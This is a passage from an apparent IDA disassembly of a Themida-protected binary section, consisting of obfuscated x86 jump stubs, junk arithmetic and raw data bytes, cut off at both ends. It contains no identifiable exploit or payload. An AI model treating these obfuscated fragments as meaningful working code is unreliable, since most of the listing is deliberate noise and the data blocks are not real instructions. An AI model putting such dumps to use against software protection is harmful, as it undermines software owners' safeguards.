21F68223h, 0C58158C5h, 9CBDECC2h dd 4E10C281h, 0EA013A94h, 3F16856h, 0FCE9584Bh, 5FFFFD0h dd 4, 405h, 24048700h, 0D6C3815Ch, 170B773h, 0D6EB81C3h dd 5570B773h, 4EC81h, 24890000h, 24048124h, 4, 4C5815Dh dd 68000000h, 2F66h, 0E9241489h, 0FFFFA39Fh ; --------------------------------------------------------------------------- loc_55F200: ; CODE XREF: Themida_:00551D6Fj pop edx push 19B4h mov [esp], eax jmp loc_550097 ; --------------------------------------------------------------------------- dw 0CA29h dd 695FB951h, 0CA01200Fh, 2434FF59h, 713DE959h, 0C309FFFFh dd 2EC38158h, 0D17D3920h, 0F7FB87E3h, 81FB87D7h, 0C36085CBh dd 5DC3815Fh, 1A02C1Fh, 4875BD8h, 24D25C24h, 48E99C24h dd 50FFFF0Eh, 0E150E5B8h, 212CE926h db 2 dup(0FFh) word_55F25A dw 2DADh ; DATA XREF: Themida_:0054FF60o dd 17430285h, 6AC1BE56h, 0C6E945D8h, 0C1000040h, 0B85005EFh dd 48852490h, 0FF839CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F279: ; CODE XREF: Themida_:00553FD1j add esp, 4 jmp loc_562FD7 ; --------------------------------------------------------------------------- db 0E9h, 11h, 0Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F286: ; CODE XREF: Themida_:00556E39j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5538F6 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0B50E6168h, 24148B3Bh, 5104C483h, 0FA1127B9h dd 0D1F74140h, 0DBB8F181h, 0C181915Bh, 23391126h, 0C103E1C1h dd 0BB5303E9h, 258A6F0Fh, 4303E3C1h, 0FF52F2E9h, 24248BFFh dd 0FF6972E9h db 0FFh byte_55F2DD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FF9Co dd 17685224h, 0E900003Ah, 0FFFF3089h ; --------------------------------------------------------------------------- loc_55F2EC: ; CODE XREF: Themida_:005515FEj sub eax, 2B5257C7h jmp loc_55DEDC ; --------------------------------------------------------------------------- loc_55F2F6: ; CODE XREF: Themida_:0055C9ADj add eax, esi sub eax, 721E1C39h pop esi push eax mov eax, 4DEF3C9Dh jmp loc_551C6E ; --------------------------------------------------------------------------- db 0BBh, 60h, 23h dd 0EB8174BAh, 459EDBBAh, 3BE9DF89h, 50FFFF58h, 4B8h, 24448100h dd 724B6D04h, 24440167h, 79D7E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F332: ; CODE XREF: Themida_:005641CEj push eax mov ah, 3Eh inc ah xor ah, 0D8h shl ah, 3 push cx push ebx mov bl, 0E1h jmp loc_562C0F ; --------------------------------------------------------------------------- loc_55F347: ; CODE XREF: Themida_:0055E7E1j mov ebx, edi mov edi, [esp] add esp, 4 xor ebx, 6C2F4C2Dh sub ebx, 3B402A61h shl ebx, 4 inc ebx inc ebx add ebx, 0D2C5E347h push ebp mov ebp, ebx mov edx, ebp jmp loc_560D78 ; --------------------------------------------------------------------------- dd 0B8240489h, 242F08F2h, 56E9C289h, 5BFFFF94h, 0FF8CECE9h dd 243C33FFh, 6624248Bh, 9C240401h, 1592E9h, 6FC38100h dd 8B6F6F6Eh, 17E9243Ch, 8B000000h, 0C483243Ch, 4C48104h dd 50000000h, 2B8h, 8EA6E900h, 8957FFFFh, 4C781E7h, 52000000h dd 4BAh, 41B7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F3CE: ; CODE XREF: Themida_:00563F09j mov esi, 0A5337AFCh jmp loc_55FB97 ; --------------------------------------------------------------------------- dd 0EFA2E956h, 0CF29FFFFh, 81D7F759h, 0A25216C7h, 59E205E4h dd 0F8012239h, 3959E22Dh, 243C8B22h, 7F6E9h, 7E06B900h dd 0E9815661h, 0D741527Ah, 159C801h, 24048BC2h, 0E9E78957h dd 5299h, 4C85C181h, 0C829207Dh, 0D8015A59h, 6525322Dh dd 2379E90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F42E: ; CODE XREF: Themida_:0056094Fj pop esp pop dword ptr [esp] pop esp mov [esp], ebx jmp loc_5586FF ; --------------------------------------------------------------------------- db 29h dd 1CE6E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F442: ; CODE XREF: Themida_:0055EBB5j add esp, 4 and eax, ecx push dword ptr [esp] push dword ptr [esp] jmp loc_552582 ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 516858C5h, 0E9000038h, 0FFFFC8A0h, 5C241487h dd 0C6FED6F6h, 28C3F680h, 3D9DE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F476: ; CODE XREF: Themida_:005627D3j shl eax, 7 add eax, 78DA27C1h shl eax, 1 add eax, 912BC182h jmp loc_556965 ; --------------------------------------------------------------------------- loc_55F48A: ; CODE XREF: Themida_:00552C01j push ebp push 4F7508DBh pop ebp xor ebp, 4F7508DFh mov edi, ebp pop ebp jmp loc_5554AB ; --------------------------------------------------------------------------- loc_55F49F: ; CODE XREF: Themida_:005622C5j xor edi, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_55ED37 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFF1102h, 81E18951h, 4C1h, 4CE95500h, 89000038h, 405E0h dd 0C0830000h, 24048704h, 8BC7895Ch, 0C4832404h, 247C2904h dd 243C8B04h, 0FF1132E9h, 0B35352FFh, 0DD88510Ch, 88EF8853h dd 0E9595BFAh, 1479h, 8904EC83h, 68B7241Ch, 5166482Ch dd 7FFE9h, 18F68100h, 0E90EC26Bh, 0FFFF8FB3h ; --------------------------------------------------------------------------- loc_55F518: ; CODE XREF: Themida_:00551B31j pop esp and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push ebx mov ebx, esp push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] or edx, eax shl edx, 1 sub esp, 4 jmp loc_5621EB ; --------------------------------------------------------------------------- loc_55F551: ; CODE XREF: Themida_:00552E1Bj add edx, 4 jmp loc_555DAE ; --------------------------------------------------------------------------- loc_55F55C: ; CODE XREF: Themida_:00564E74j sub ecx, 642C2C1Ah sub ecx, 1446B57h jmp loc_558ABA ; --------------------------------------------------------------------------- loc_55F56D: ; CODE XREF: Themida_:0055B953j add ecx, eax add ecx, 2F450FCEh jmp loc_55B2E6 ; --------------------------------------------------------------------------- aB9mqh5u db 'ÇÍ9MQh5u',0 dd 242C8900h, 1695E9h, 0FFF83100h, 0E6E92434h, 0C1FFFFBCh dd 0C18106E9h, 5DA7A8BEh, 8159CD21h, 6B7BB2C5h, 0F5814523h dd 5CFB3BA4h, 6480C581h, 1DE9F01Ah db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F5BB: ; CODE XREF: Themida_:00556997j push ebx jmp loc_5565D9 ; --------------------------------------------------------------------------- db 0B1h, 81h, 80h dd 0F180B3F1h, 37C1808Bh, 8CE9CA28h, 81FFFF5Ch, 8A3C1AC3h dd 81D30163h, 8A3C1AEBh, 1080E963h, 1489FFFFh, 0B3D5BA24h dd 0D6316662h, 759685Ah, 5CE90000h, 89FFFF25h, 2DBD242Ch dd 0E927D614h, 0FFFFC9D0h, 4EC81h, 34890000h, 72DEE924h dd 4BFFFFFh, 1000000h, 0E904247Ch, 0FFFFEFDDh, 36668h dd 24148900h, 2BAh, 1C58100h, 0E90A6639h, 0FFFF2DE9h, 0C8BC830h dd 4EC8324h, 54241C89h, 24A5685Bh, 3DE90000h, 1FFFF51h dd 0F20E9C5h, 792D0000h, 52A9313h, 4B507AF0h, 0FF14CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F669: ; CODE XREF: Themida_:0055C0B7j sub ecx, 0B820B27h mov eax, [esp] jmp loc_555E44 ; --------------------------------------------------------------------------- db 89h dd 41E92434h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F67F: ; CODE XREF: Themida_:00553EB2j push ebx mov ebx, 66D51934h add ecx, 51B603A5h sub ecx, ebx sub ecx, 51B603A5h pop ebx mov ebx, ecx pop ecx add ebx, 79A12753h add ebx, edi sub ebx, 79A12753h push edx push eax push 450934BBh pop eax xor eax, 314D42B5h not eax inc eax push ecx jmp loc_558146 ; --------------------------------------------------------------------------- loc_55F6BB: ; CODE XREF: Themida_:005655C8j add ebx, 4 xchg ebx, [esp] pop esp push 34EBh mov [esp], ebx push esi mov esi, 21E65A60h xor [esp+4], esi jmp loc_551F48 ; --------------------------------------------------------------------------- loc_55F6DC: ; CODE XREF: Themida_:00550420j xor edi, 2004h add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_551C1A ; --------------------------------------------------------------------------- byte_55F6F1 db 66h, 0FFh, 32h ; DATA XREF: Themida_:0054FE04o dd 0FF099EE9h, 24248BFFh, 0FF2F82E9h, 4C481FFh, 29000000h dd 1564E9C3h, 0E95FFFFFh, 0FFFFA6DFh, 6604C483h, 63CFEB81h dd 6EEB8166h, 0C3296629h, 0C2BF6657h, 0DFF7665Fh, 94EF8166h dd 0F7816607h, 50667F7Fh, 0CEBBB866h, 66C73166h, 0FB016658h dd 0E957665Fh, 0FFFFD4AEh, 24048B66h, 32F168h, 242C8900h dd 0FF8F69E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F75D: ; CODE XREF: Themida_:0055291Dj pop esp add esp, 4 push dword ptr [esp] pop eax jmp loc_557FC2 ; --------------------------------------------------------------------------- dw 0E831h dd 117AE9h, 2EBC100h, 77F3814Bh, 813E0B1Bh, 8D68A9C5h dd 4CC5817Bh, 11BAE22h, 4CED81DDh, 811BAE22h, 8D68A9EDh dd 241C8B7Bh, 8704C483h, 0E2E9242Ch, 0C0FFFF95h, 0E4C003ECh dd 0FFEC8002h, 513CB353h, 38ABE9h db 0 ; --------------------------------------------------------------------------- loc_55F7B5: ; CODE XREF: Themida_:00552285j mov edx, esp add edx, 4 sub edx, 4 jmp loc_562248 ; --------------------------------------------------------------------------- dd 2414F756h, 0FFBECBE9h, 0DEE958FFh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F7D7: ; CODE XREF: Themida_:0055C937j pop ebx push ebp push ecx mov ecx, 36CD36E1h add ecx, 222910B5h add ecx, 1F53CE4h neg ecx dec ecx push eax mov eax, 0E7D60C8Dh xor ecx, eax pop eax mov ebp, ecx jmp loc_556296 ; --------------------------------------------------------------------------- dw 0E181h dd 62E57C5Ah, 7EE9D9F7h, 56FFFF12h, 0FF35AAE9h, 3B6859FFh dd 89000042h, 1DB22414h, 60EA80h, 0C5045AD0h, 0FFA696E9h dd 0BB5359FFh, 4, 4B32B850h, 0C12938C7h, 81D90158h, 0C74B32C1h dd 0E9565B38h, 0FFFF6D07h, 4C781h, 0DCE90000h, 0FFFFFF25h dd 815F2434h, 4C4h, 61526800h, 3C890000h, 80E95124h, 0FFFFFFF7h dd 0FF042474h, 835F2434h, 0FE904C4h, 83FFFF7Ch, 40E904C1h db 9Fh, 2 dup(0FFh) byte_55F883 db 0FFh ; DATA XREF: Themida_:0054FEF4o dd 48B2434h, 0D321E924h, 0AE05FFFFh, 1E0BADDh, 0DE0158C6h dd 176DEE81h, 0FE9298Dh, 0B9FFFFA1h, 29B6468Dh, 0FFD17FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F8AD: ; CODE XREF: Themida_:0055565Fj add eax, 29CA5ED5h add eax, ecx jmp loc_55926C ; --------------------------------------------------------------------------- loc_55F8B9: ; CODE XREF: Themida_:00552514j mov [esp], ebx push ebx mov ebx, 7FED408Ah sub [esp+4], ebx pop ebx jmp loc_56130A ; --------------------------------------------------------------------------- dd 0BD55F001h, 6D0729E6h, 6B0DB850h, 0C0831616h, 7344E9FFh dd 3C89FFFFh, 4BF24h, 6C810000h, 58370424h, 0B8506606h dd 3D2C52C1h, 8244401h, 24448158h, 790AC404h, 247C0100h dd 246C8104h, 790AC404h, 246C8100h, 2C52C104h, 238CE93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F91E: ; CODE XREF: Themida_:00562100j mov eax, [esp] add esp, 4 add esp, 4 push ebx push esp jmp loc_560F7D ; --------------------------------------------------------------------------- dd 44E9D131h, 0C0FFFF2Bh, 0E98005E1h, 98F180F8h, 2CF180h dd 2254E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F94E: ; CODE XREF: Themida_:0055CF90j pop ebx jmp loc_55FD4C ; --------------------------------------------------------------------------- dd 4C48158h, 33000000h, 3C31243Ch, 0FA1FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F966: ; CODE XREF: Themida_:0055159Bj add edx, 0FFFFFFFFh push eax jmp loc_55B33F ; --------------------------------------------------------------------------- db 81h dd 0FD694AE3h, 0C3814350h, 21245A4Eh, 0FFD14CE9h, 243C89FFh dd 4BFh, 247C0100h, 3130E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F992: ; CODE XREF: Themida_:005607B6j pop esi and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 7 jmp loc_564523 ; --------------------------------------------------------------------------- dw 248Bh dd 4EC8324h, 0E9242489h, 0FFFF6E1Ah, 33243431h, 248B2434h dd 8E8C124h, 6892C831h, 7BCAh, 81241489h, 4ECh, 24348900h dd 6993E95Ah, 4CBEFFFFh, 0E9683951h, 0FFFF906Ch ; --------------------------------------------------------------------------- loc_55F9E4: ; CODE XREF: Themida_:00555C1Bj add ebx, 79C7789Eh push dword ptr [esp] pop esi add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 7524h mov [esp], edi push ebx mov ebx, 614C60EFh jmp loc_5606BF ; --------------------------------------------------------------------------- loc_55FA13: ; CODE XREF: Themida_:0055E5A0j mov ebx, ebp pop ebp jmp loc_5520E1 ; --------------------------------------------------------------------------- db 59h dd 5558C529h, 42474FFh, 4A01E95Dh, 0C781FFFFh, 4, 8B243C87h dd 0EC812424h, 4, 0FF9EAFE9h, 0C38359FFh, 241C8704h, 0FF6471E9h dd 24348BFFh, 0E9E38953h, 0FFFFC4F0h, 81F30159h, 0E53B87C3h dd 0C3835E7Fh, 241C8702h, 0FF981CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FA6D: ; CODE XREF: Themida_:0055806Cj dec ebp jmp loc_55A3EB ; --------------------------------------------------------------------------- aIHE db '\‰$$h{E',0 align 4 dd 0BD242C89h, 4, 4246C01h, 2434FF5Dh, 55242C8Bh, 4C93E9h db 0 ; --------------------------------------------------------------------------- loc_55FA95: ; CODE XREF: Themida_:00564A9Fj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edx, [esp] jmp loc_55964C ; --------------------------------------------------------------------------- dd 4BB53h, 0C7810000h, 6B5359E4h, 0FFD157E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAC1: ; CODE XREF: Themida_:0055D4C7j shl ebp, 8 shr ebp, 7 push eax mov eax, 0B451573Ch xor ebp, eax pop eax add edi, 176D2A15h sub edi, ebp jmp loc_55DF02 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 0E9h dd 0FFFFC00Ch, 8124248Bh, 4C1h, 47836800h, 14890000h, 46824h dd 815A0000h, 0EA5724E9h, 81D1296Bh, 0EA5724C1h, 5BA5E96Bh dd 0F321FFFFh, 47F3815Eh, 5027A31Fh, 0BEBFA0B8h, 58C32934h dd 3B76E9h, 99C68100h, 1D84081h, 18E95EF5h db 7Dh, 2 dup(0FFh) byte_55FB33 db 0FFh ; DATA XREF: Themida_:0054FEB0o dd 48B2434h, 9E66824h, 4890000h, 7B826824h, 24890000h dd 24048324h, 24048B04h, 535D5455h, 0FFA821E9h, 0A1EA81FFh dd 31503718h, 0C35BE9D5h, 5452FFFFh, 64E9h, 24348B00h dd 5304C483h, 4BBh, 5BDE0100h, 4C681h, 0F3E90000h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB87: ; CODE XREF: Themida_:00553779j push dword ptr [edi+24h] push edx pop dword ptr [edi+24h] mov edx, [esp] push ebx jmp loc_5655C0 ; --------------------------------------------------------------------------- loc_55FB97: ; CODE XREF: Themida_:0055F3D3j sub esi, ecx pop ecx add esi, 61643BDFh neg esi sub esi, 3CDF308Ah add esi, 62BBCA76h and ebp, esi jmp loc_55CD6F ; --------------------------------------------------------------------------- loc_55FBB5: ; CODE XREF: Themida_:00558730j not edi xor eax, edi xor edi, eax xor eax, edi push 58A5h mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] jmp loc_55E5D9 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 22E3E957h, 0E989FFFFh, 50242C8Bh, 24048B54h, 4C481h dd 0B8E90000h, 83FFFF7Fh, 0BA5204C4h, 4, 301FE9h, 0FFFF2D00h dd 4E9FFFFh, 0D00001Bh, 674C79C4h, 0FFA43FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FC15: ; CODE XREF: Themida_:005533DEj shl edx, 4 shr edx, 7 add edx, 0FFFBB7FAh add eax, edx pop edx push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_550D3F ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF485DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FC45: ; CODE XREF: Themida_:00553E5Cj xor ebx, ecx mov ecx, [esp] add esp, 4 add eax, 5DF34FBBh jmp loc_5599A1 ; --------------------------------------------------------------------------- dw 0B252h dd 8BD0284Dh, 0C4832414h, 0E9E82804h, 0FFFFEAE2h, 0FF0426E9h dd 7E95BFFh, 57FFFF3Bh, 0D1A6CBFh, 8BFE01F5h, 0C483243Ch dd 5EF10104h, 8124348Bh, 4C4h, 4132E900h, 685F0000h, 5BE9h dd 51240489h, 668C6855h, 0B5E946CFh, 2900004Ah, 29585FFAh dd 24148BD0h, 6804C483h, 4C63h, 0FFD672E9h, 24048FFFh dd 1EB8E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FCCA: ; CODE XREF: Themida_:00550F13j dec edx not edx shr edx, 4 jmp loc_550F8F ; --------------------------------------------------------------------------- db 0E9h, 0BDh, 3 dd 2C89FFFFh, 4BD24h, 0EB010000h, 81242C8Bh, 4C4h, 0B369E900h dd 315CFFFFh, 30FF66C3h, 0FF039AE9h, 895258FFh, 4C281E2h dd 0E9000000h, 0FFFF65C6h, 0F7E93BB1h, 57FFFFDFh, 0F889CF89h dd 0FF08B4E9h, 4C381FFh, 81000000h, 4C3h, 241C3300h, 4978E9h db 0 ; --------------------------------------------------------------------------- loc_55FD31: ; CODE XREF: Themida_:00554111j mov edx, 7ED28EA1h add edx, 0F5102CBh sub edx, ebx jmp loc_553E94 ; --------------------------------------------------------------------------- db 0FFh a4XsC db '4$Xé"C',0 align 4 loc_55FD4C: ; CODE XREF: Themida_:0055F94Fj dec edi or edi, 4C7D2F8Fh jmp loc_558460 ; --------------------------------------------------------------------------- dd 0FF5EF329h, 815F2434h, 4C4h, 979FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FD6A: ; CODE XREF: Themida_:0055D6A7j add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_550097 ; --------------------------------------------------------------------------- aHm db '[h¬%',0 dw 8900h dd 74FF2434h, 32E90424h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FD8F: ; CODE XREF: Themida_:00550D3Aj push 1324h mov [esp], ebx mov ebx, 4DEF3C9Dh push 4448h mov [esp], ecx jmp loc_551946 ; --------------------------------------------------------------------------- loc_55FDA9: ; CODE XREF: Themida_:005564DCj push 231Bh mov [esp], edi mov edi, esi push edi add dword ptr [esp], 6DC81716h pop edx sub edx, 6DC81716h jmp loc_5607B5 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18100h, 87000000h, 0C15C240Ch, 0A12D06E0h, 89FC7FE5h dd 0D10158C2h, 895BE95Ah, 0C681FFFFh, 3D673457h, 0EE81EE01h dd 3D673457h, 6B8EE81h, 0BA527359h, 69E93249h, 86E9D629h dd 83FFFF06h, 0C8704C1h, 24248B24h, 51C8AF0Fh, 279E99Ch db 2 dup(0FFh) word_55FE1E dw 30ACh ; DATA XREF: Themida_:0054FEFCo dd 0BB551D8h, 0FF9811E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE29: ; CODE XREF: Themida_:0055DE04j or eax, eax jz loc_55C7A9 push eax mov eax, 1Ch jmp loc_5560F0 ; --------------------------------------------------------------------------- dd 0CF09F581h, 0EF898510h, 5FF9295Dh, 0C8BC889h, 4C48324h dd 0FF1C4721h, 50582434h, 405E089h, 0E9000000h, 0FFFF8B90h dd 8B241C87h, 0FAE92424h, 0FFFFFFADh, 0FF042474h, 50592434h dd 4055854h, 56000000h, 4BEh, 5EF00100h, 0E9240487h, 0FFFF9880h dd 8B2434FFh, 768240Ch, 8900001Ah, 58542404h, 0FF6423E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FEA5: ; CODE XREF: Themida_:005578F8j add [esp+4], esi add dword ptr [esp+4], 712E617Bh sub dword ptr [esp+4], 162B0189h jmp loc_55DC4F ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 83242489h, 8B042404h, 0C4832434h, 3461E904h, 895C0000h dd 3CB42404h, 8008B753h, 0F78083CFh, 59C480EEh, 0EC80FC00h dd 0C4805B59h, 58E730F6h, 0FF5AE8E9h, 3AC780FFh, 0E9CDEF80h dd 0FFFFDBE5h ; --------------------------------------------------------------------------- loc_55FF04: ; CODE XREF: Themida_:005602CEj pop dword ptr [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_550097 ; --------------------------------------------------------------------------- dw 5559h dd 0FF9EACE9h, 62B050FFh, 0D304D0F6h, 0FF1725E9h, 59CF31FFh dd 62D9F781h, 22D7AC6h, 16FF86Eh, 60A7E9F8h, 0E689FFFFh dd 0FF5AAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FF41: ; CODE XREF: Themida_:00563E3Aj xor ecx, edx xor edx, ecx xor ecx, edx jmp loc_555763 ; --------------------------------------------------------------------------- dd 65E8E95Dh, 0EC81FFFFh, 4, 0B9240C89h, 173A4BB6h, 19B5C981h dd 40E94745h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF6B: ; CODE XREF: Themida_:00557753j and eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], edx mov edx, esp push ecx mov ecx, 418A7781h shr ecx, 7 jmp loc_556DD5 ; --------------------------------------------------------------------------- dw 0B105h dd 104B91Fh, 1FB12DF0h, 348B04B9h, 4C48124h, 0E9000000h dd 0FFFFE187h, 5FBE5655h, 0E931CE0Fh, 0FFFF542Eh, 0EC80D4F6h dd 58E30049h, 806BCB80h, 0DBF6A4C3h, 886EC380h, 0CE205BD9h dd 240C8B66h, 2412E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFCE: ; CODE XREF: Themida_:00552615j mov [esp], edx push 800h mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp and ecx, edx jmp loc_5504E7 ; --------------------------------------------------------------------------- loc_55FFF1: ; CODE XREF: Themida_:00554992j push dword ptr [esp] pop eax add esp, 4 shr ecx, 0Ah push 76C3h jmp loc_5595A9 ; --------------------------------------------------------------------------- dd 1C25AFBBh, 4EBC174h, 0EBC1DBF7h, 22E38105h, 0F74CD960h dd 6EC381D3h, 89379573h, 0F1815BD9h, 0D6E5B268h, 0FF5132E9h db 0FFh ; --------------------------------------------------------------------------- loc_560031: ; CODE XREF: Themida_:005618F1j mov edx, [esp] add esp, 4 push ax sub esp, 4 mov [esp], edx mov dl, 7Ah mov ah, 53h sub ah, dl jmp loc_55A614 ; --------------------------------------------------------------------------- db 21h, 0FBh, 5Fh dd 5A2DE381h, 0A4E971DEh, 81FFFFA3h, 0E525D4C3h, 5385E93Fh dd 34310000h, 0ABABE924h, 2859FFFFh, 51BD04D8h, 0E5803CB5h dd 8FC5803Fh, 0E910C580h, 0FFFF5D5Ch, 4F11F3BBh, 56C3812Ah dd 68ED7A2Ch, 36C4h, 81241C89h, 12D9242Ch, 815E28EEh, 0EE12D9C6h dd 283EE928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5600AA: ; CODE XREF: Themida_:00556EBBj mov esi, [esp] add esp, 4 push ecx jmp loc_562CFA ; --------------------------------------------------------------------------- dw 0D0F7h dd 1CEDE05h, 0AFE95782h, 59FFFFA7h, 0E919B753h, 0FFFF64EAh dd 5C323BBAh, 1DEA8173h, 0F71BA666h, 0FAF281D2h, 813CBB1Dh dd 0A0B014EAh, 0E9D02934h, 0FFFF9A62h ; --------------------------------------------------------------------------- loc_5600EC: ; CODE XREF: Themida_:00563568j pop esi and ebx, 6A322B4Eh push ebx jmp loc_55BC9E ; --------------------------------------------------------------------------- db 54h, 59h, 0E9h dd 0FFFFC8EAh, 4C481h, 0C5810000h, 4, 0FFF513E9h db 0FFh byte_560111 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054FE78o dd 0D359669Dh, 0E99C2414h, 0FFFEFF77h ; --------------------------------------------------------------------------- loc_560120: ; CODE XREF: Themida_:00562EC9j add esp, 4 push ecx push 4 pop ecx add edi, 4AA579FCh add edi, ecx sub edi, 4AA579FCh pop ecx xchg edi, [esp] pop esp push 6465h jmp loc_5522A3 ; --------------------------------------------------------------------------- db 0BBh dd 429441EEh, 971DCF05h, 0E9D8294Eh, 0FFFFB9C2h, 0E904EC83h dd 0FFFFF49Bh ; --------------------------------------------------------------------------- loc_560160: ; CODE XREF: Themida_:00563ED1j mov dl, 2Bh jmp loc_554E65 ; --------------------------------------------------------------------------- db 0F6h dd 0A7B551DAh, 0F68AE580h, 0F9E580DDh, 9CC580h, 0D53059EAh dd 0FFE8305Ah, 0EAE92434h, 5FFFF28h, 4, 8704E883h, 895C2404h dd 8AE9240Ch, 52FFFF1Fh, 0F488EE88h, 0F480595Ah, 78EC8052h dd 0E9CBE480h, 3EC8h, 2B7EBA52h, 0D6091054h, 30F4E95Ah dd 81580000h, 5D643EEBh, 0EB5DE913h, 0D2F7FFFFh, 0AF05F281h dd 0C78123A3h, 1A551FDDh, 0EF81D701h, 1A551FDDh, 4C7835Ah dd 5C243C87h, 0FFB021E9h, 81C501FFh, 610BB4C5h, 24048B1Dh dd 0E9E68956h, 0FFFF37F6h, 6404E956h, 0EB80FFFFh, 80E300DAh dd 34FFDAC3h, 0C4835824h, 0C0B60F04h, 24148B66h, 2C8B5455h dd 0FEDAE924h, 0F029FFFFh, 449E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56022E: ; CODE XREF: Themida_:0055E4CFj push ecx sub esp, 4 mov [esp], edx jmp loc_553461 ; --------------------------------------------------------------------------- loc_56023A: ; CODE XREF: Themida_:005649F5j mov ecx, [esp] add esp, 4 push 33F3h mov [esp], eax jmp loc_5594F7 ; --------------------------------------------------------------------------- db 5Eh, 66h, 8Fh dd 0FE41E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560256: ; CODE XREF: Themida_:00554E35j xor ebx, 0DDD6BDE3h sub edi, 623B0C55h add edi, ebx add edi, 623B0C55h pop ebx add edi, 4 xchg edi, [esp] pop esp sub esp, 4 jmp loc_5607E9 ; --------------------------------------------------------------------------- db 68h, 0Fh, 65h dd 815F1BABh, 0F70614C7h, 5FFA89F8h, 315DEA31h, 31D331DAh dd 2CDCE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56029A: ; CODE XREF: Themida_:00558B4Aj xor eax, ecx push 69A7h mov [esp], eax push ecx pop eax mov ecx, [esp] push ebx mov ebx, esp jmp loc_56525C ; --------------------------------------------------------------------------- loc_5602B1: ; CODE XREF: Themida_:005506E9j mov esi, 7BD90EBEh xor ebp, esi pop esi add ebp, 1 add ebp, 7E95FDD8h add ecx, ebp pop ebp add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_55FF04 ; --------------------------------------------------------------------------- db 81h dd 6D3809C3h, 4BD3F71Ah, 6F09E381h, 0EB816E16h, 681008FCh dd 875BDD29h, 0E95C242Ch, 4E60h, 26BA525Ch, 2963584Ch dd 0CB015AD3h, 3C23E9h, 58C13100h, 96E9CD29h db 17h, 2 dup(0) byte_56030F db 66h ; DATA XREF: Themida_:0054FF44o dd 68240C8Bh, 56CDh, 0E9243C89h, 3202h, 0E9240C8Bh, 0FFFFC1E5h dword_560328 dd 0E9E28952h, 0FFFF492Dh, 1EE9F3B2h, 0B200004Ah, 0E9D400C7h ; DATA XREF: Themida_:0054FF10o dd 3E19h, 0DFC3815Dh, 0E900B821h, 0FFFFA9E6h, 83243C8Bh dd 0C58104C4h, 57402D77h, 0ED81F501h, 57402D77h, 7C468h dd 2D33E900h, 815DFFFFh, 5064F1h, 6DC6810Ch, 1672A79h dd 6DEE81CEh, 8B672A79h, 0C483240Ch, 0C546E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56038A: ; CODE XREF: Themida_:00552220j mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_551707 ; --------------------------------------------------------------------------- db 5Ch dd 8B243C87h, 8B662424h, 7DE92414h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5603AB: ; CODE XREF: Themida_:0055E02Ej add eax, ecx pop ecx jmp loc_555748 ; --------------------------------------------------------------------------- db 81h dd 5B4469EAh, 1DACE9FBh db 2 dup(0FFh) word_5603BE dw 30ACh ; DATA XREF: Themida_:0054FF18o dd 0C6268D8h, 